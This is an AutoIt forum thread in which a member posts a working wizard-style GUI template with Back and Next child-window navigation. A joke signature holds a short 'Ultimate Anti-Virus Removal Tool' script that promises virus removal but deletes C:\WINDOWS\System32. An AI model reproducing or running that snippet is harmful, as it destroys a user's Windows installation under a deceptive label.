Jump to content
Sign in to follow this  
lyledg

Wizard Type GUI

Recommended Posts

Hey Guys

Was just wondering if this has been done yet or how difficult would it be to create Wizard like GUI (See Attached) as an option with the Guicreate function.

I, like others I am sure have had to really manage GUI real estate to the max, however having a "Wizard" type gui with "Next" and "Back" buttons could definitely open a lot of oppurtunities wouldn't you agree??

Just a thought

Comments welcome

Wizard_GUI.doc

Share this post


Link to post
Share on other sites

Hey Guys

Was just wondering if this has been done yet or how difficult would it be to create Wizard like GUI (See Attached) as an option with the Guicreate function.

I, like others I am sure have had to really manage GUI real estate to the max, however having a "Wizard" type gui with "Next" and "Back" buttons could definitely open a lot of oppurtunities wouldn't you agree??

Just a thought

Comments welcome

Do you mean make a new code that does this automatically or just make a template that people could use?


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites

Do you mean make a new code that does this automatically or just make a template that people could use?

I guess a template would be a good start?

Share this post


Link to post
Share on other sites

Something like this:

#include <GuiConstants.au3>

Global $Img_Path = @SystemDir & "\Setup.bmp"

$Main_GUI = GuiCreate("Wizard Demo!", 400, 300)

_GuiCtrlCreateSeperator(0, 2, 265, 3, 396)

$Back_Button = GUICtrlCreateButton("<<Back", 170, 270, 60)
GUICtrlSetState(-1, $GUI_DISABLE)
$Next_Button = GUICtrlCreateButton("Next>>", 240, 270, 60)

$Exit_Button = GUICtrlCreateButton("Exit", 325, 270, 60)


$ChildGui_1 = GuiCreate("Child window 1", 400, 260, 5, 5, $WS_POPUP)
$LabelGui1 = GUICtrlCreatePic($Img_Path, 2, 2, 160, 250, $SS_SUNKEN, $WS_EX_STATICEDGE+$WS_EX_CLIENTEDGE)
GUICtrlCreateLabel("Wellcome!", 240, 20, 150)
GUICtrlSetFont(-1, 12, 800)

$ChildGui_2 = GuiCreate("Child window 2", 400, 260, 5, 5, $WS_POPUP)
$LabelGui2 = GUICtrlCreateInput("Some input", 10, 20, 180)

$ChildGui_3 = GuiCreate("Child window 3", 400, 260, 5, 5, $WS_POPUP)
$LabelGui3 = GUICtrlCreateEdit("Some Edit", 10, 20, 180, 220)

DllCall("user32.dll", "int", "SetParent", "hwnd", $ChildGui_1, "hwnd", $Main_GUI)
DllCall("user32.dll", "int", "SetParent", "hwnd", $ChildGui_2, "hwnd", $Main_GUI)
DllCall("user32.dll", "int", "SetParent", "hwnd", $ChildGui_3, "hwnd", $Main_GUI)

GUISetState(@SW_SHOW, $Main_GUI)
GUISetState(@SW_SHOW, $ChildGui_1)

While 1
    $Msg = GUIGetMsg(1)
    Switch $Msg[0]
        Case $GUI_EVENT_CLOSE, $Exit_Button
            If $Msg[0] = $Exit_Button And Not _WinIsVisible($ChildGui_1) Then
                $Ask = _MsgBox(256+52, "Attention", "Are you sure you want to exit the Wizard now?", $Msg[1])
                If $Ask <> 6 Then ContinueLoop
            EndIf
            
            If $Msg[1] = $Main_GUI Then Exit
        Case $Next_Button
            GUICtrlSetState($Back_Button, $GUI_ENABLE)
            
            Local $CurrentHandle = 0
            Local $NextHandle = 0
            
            Select
                Case _WinIsVisible($ChildGui_1)
                    $CurrentHandle = $ChildGui_1
                    $NextHandle = $ChildGui_2
                Case _WinIsVisible($ChildGui_2)
                    $CurrentHandle = $ChildGui_2
                    $NextHandle = $ChildGui_3
                    GUICtrlSetState($Next_Button, $GUI_DISABLE)
            EndSelect
            
            If $CurrentHandle <> 0 Then
                GUISetState(@SW_HIDE, $CurrentHandle)
                GUISetState(@SW_SHOW, $NextHandle)
            EndIf
            
            WinActivate($Main_GUI)
        Case $Back_Button
            GUICtrlSetState($Next_Button, $GUI_ENABLE)
            
            Local $CurrentHandle = 0
            Local $BackHandle = 0
            
            Select
                Case _WinIsVisible($ChildGui_3)
                    $CurrentHandle = $ChildGui_3
                    $BackHandle = $ChildGui_2
                Case _WinIsVisible($ChildGui_2)
                    $CurrentHandle = $ChildGui_2
                    $BackHandle = $ChildGui_1
                    GUICtrlSetState($Back_Button, $GUI_DISABLE)
            EndSelect
            
            If $CurrentHandle <> 0 Then
                GUISetState(@SW_HIDE, $CurrentHandle)
                GUISetState(@SW_SHOW, $BackHandle)
            EndIf
            
            WinActivate($Main_GUI)
    EndSwitch
WEnd

Func _GuiCtrlCreateSeperator($Direction, $Left, $Top, $Width=3, $Lenght=25)
    Switch $Direction
        Case 0
            GUICtrlCreateLabel("", $Left, $Top, $Lenght, $Width, $SS_SUNKEN)
        Case 1
            GUICtrlCreateLabel("", $Left, $Top, $Width, $Lenght, $SS_SUNKEN)
    EndSwitch
EndFunc

Func _MsgBox($MsgBoxType, $MsgBoxTitle, $MsgBoxText, $MainGUI=0)
    Local $iRet = DllCall ("user32.dll", "int", "MessageBox", _
            "hwnd", $MainGUI, _
            "str", $MsgBoxText , _
            "str", $MsgBoxTitle, _
            "int", $MsgBoxType)
    Return $iRet[0]
EndFunc

Func _WinIsVisible($hWnd)
    Return BitAND(WinGetState($hWnd), 2)
EndFunc

 

Spoiler

Using OS: Win 7 Professional, Using AutoIt Ver(s): 3.3.6.1 / 3.3.8.1

AutoIt_Rus_Community.png AutoIt Russian Community

My Work...

Spoiler

AutoIt_Icon_small.pngProjects: ATT - Application Translate Tool {new}| BlockIt - Block files & folders {new}| SIP - Selected Image Preview {new}| SISCABMAN - SciTE Abbreviations Manager {new}| AutoIt Path Switcher | AutoIt Menu for Opera! | YouTube Download Center! | Desktop Icons Restorator | Math Tasks | KeyBoard & Mouse Cleaner | CaptureIt - Capture Images Utility | CheckFileSize Program

AutoIt_Icon_small.pngUDFs: OnAutoItErrorRegister - Handle AutoIt critical errors {new}| AutoIt Syntax Highlight {new}| Opera Library! | Winamp Library | GetFolderToMenu | Custom_InputBox()! | _FileRun UDF | _CheckInput() UDF | _GUIInputSetOnlyNumbers() UDF | _FileGetValidName() UDF | _GUICtrlCreateRadioCBox UDF | _GuiCreateGrid() | _PathSplitByRegExp() | _GUICtrlListView_MoveItems - UDF | GUICtrlSetOnHover_UDF! | _ControlTab UDF! | _MouseSetOnEvent() UDF! | _ProcessListEx - UDF | GUICtrl_SetResizing - UDF! | Mod. for _IniString UDFs | _StringStripChars UDF | _ColorIsDarkShade UDF | _ColorConvertValue UDF | _GUICtrlTab_CoverBackground | CUI_App_UDF | _IncludeScripts UDF | _AutoIt3ExecuteCode | _DragList UDF | Mod. for _ListView_Progress | _ListView_SysLink | _GenerateRandomNumbers | _BlockInputEx | _IsPressedEx | OnAutoItExit Handler | _GUICtrlCreateTFLabel UDF | WinControlSetEvent UDF | Mod. for _DirGetSizeEx UDF
 
AutoIt_Icon_small.pngExamples: 
ScreenSaver Demo - Matrix included | Gui Drag Without pause the script | _WinAttach()! | Turn Off/On Monitor | ComboBox Handler Example | Mod. for "Thinking Box" | Cool "About" Box | TasksBar Imitation Demo

Like the Projects/UDFs/Examples? Please rate the topic (up-right corner of the post header: Rating AutoIt_Rating.gif)

* === My topics === *

==================================================
My_Userbar.gif
==================================================

 

 

 

AutoIt is simple, subtle, elegant. © AutoIt Team

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×
×
  • Create New...